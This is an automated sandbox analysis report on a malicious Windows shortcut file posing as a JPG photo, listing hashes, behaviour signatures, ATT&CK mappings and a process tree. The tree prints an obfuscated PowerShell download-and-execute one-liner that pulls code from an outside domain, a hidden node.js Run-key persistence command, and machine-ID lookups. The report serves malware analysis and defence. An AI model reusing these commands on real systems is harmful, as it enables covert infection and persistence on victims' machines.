16eb633d7c19f8d28aac3ac94bee4229c942cf411a202cbae0d7b3465ffdb8e6

Analysis

max time kernel
298s
max time network
274s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/07/2026, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_171843.jpg.lnk
Size 1KB
Sample260730-e7phpazbmg
SHA256 16eb633d7c19f8d28aac3ac94bee4229c942cf411a202cbae0d7b3465ffdb8e6
MD5 28398a52874041439c6062cf010e5803
SHA1 d31bd4776e1929c706ab4e23883aadc1dfadfcf2
SHA512 36ba7a14279fe7f722a29908913d12cbac93fb0adcc218986745d3a406d46f19b0e5daa961d56f672e057ed0f56a7a57ddcd6e1014e15781f03274b36514f77c
TLSH
T1F031E02D9BF21228C6B74B395876631287217B0EEA4DCFDF1290C2949565120F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4860	powershell.exe
10	4860	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
948	node.exe
384	node.exe
1036	node.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\61fc5f6f-4bdc-47e7-a533-c6f920059411 = "\"C:\\Users\\Admin\\AppData\\Local\\Nodejs\\node-v26.4.0-win-x64\\node.exe\" -e \"require('child_process').spawn(process.execPath, ['C:\\\\Users\\\\Admin\\\\AppData\\\\Local\\\\Nodejs\\\\CEN0ZHLa1Y.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\""	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2160	powershell.exe
4212	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4308	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
2160	powershell.exe
2160	powershell.exe
4212	powershell.exe
4212	powershell.exe
2020	powershell.exe
2020	powershell.exe
3084	powershell.exe
3084	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	3084	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 4860	4308	cmd.exe	87
PID 4860 wrote to memory of 3888	4860	powershell.exe	91
PID 3888 wrote to memory of 2196	3888	csc.exe	93
PID 4860 wrote to memory of 948	4860	powershell.exe	106
PID 948 wrote to memory of 1948	948	node.exe	108
PID 948 wrote to memory of 2160	948	node.exe	110
PID 948 wrote to memory of 4212	948	node.exe	112
PID 384 wrote to memory of 1036	384	node.exe	117
PID 1036 wrote to memory of 2020	1036	node.exe	118
PID 948 wrote to memory of 3084	948	node.exe	120
PID 948 wrote to memory of 1592	948	node.exe	122

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_171843.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('w','op','o','h','n','t','res','oin','s','.','ervpho','stay')[6,10,5,7,11,4,2,0,9,8,3,1] -join $a1pqhG) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\p1rnlgew\p1rnlgew.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7644.tmp" "c:\Users\Admin\AppData\Local\Temp\p1rnlgew\CSCC19FA8C11F54C838013CF3A5DB239B0.TMP"
      4⤵
      PID:2196
- - C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
    "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\CEN0ZHLa1Y.js reservphotoinstaynow.shop
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"61fc5f6f-4bdc-47e7-a533-c6f920059411\").\"61fc5f6f-4bdc-47e7-a533-c6f920059411\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\CEN0ZHLa1Y.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"61fc5f6f-4bdc-47e7-a533-c6f920059411\" -Value $command"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1592

C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\CEN0ZHLa1Y.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:384
- C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
  C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\CEN0ZHLa1Y.js
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
MD5 fe3aab3ae544a134b68e881b82b70169
SHA1 926e9b4e527ae1bd9b3b25726e1f59d5a34d36a6
SHA512 3fbd3499d98280b6c79c67b0ee183b27692dbc31acf103b4f8ca4dcdf392afff2b3aad500037f4288581ed37e85f45c3bbb5dcde11cddf3ef0609f44b2ecb280
TLSH
T17F71FE313275B0D4C8567F071E2819C453BF4386EAA4AF4CB25C621EDD2641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
MD5 eb95593cadef8a5dd4ae7059529d25c7
SHA1 464b6fc05fe1c21127a61db0a38e3e9c8c369d18
SHA512 28de4369543ef8f076d7a2169d08c9fca3d57ff2d4b207868227c206839b1e5c4438bf762fdd8a8ed4df6b45c458593c16be02adca044611b8b2c1f44a3afef8
SSDEEP 1536:gC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5bxX:gC+jH04tAHk1cMrxyNhftflJdvYoFi3F
TLSH
T128334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download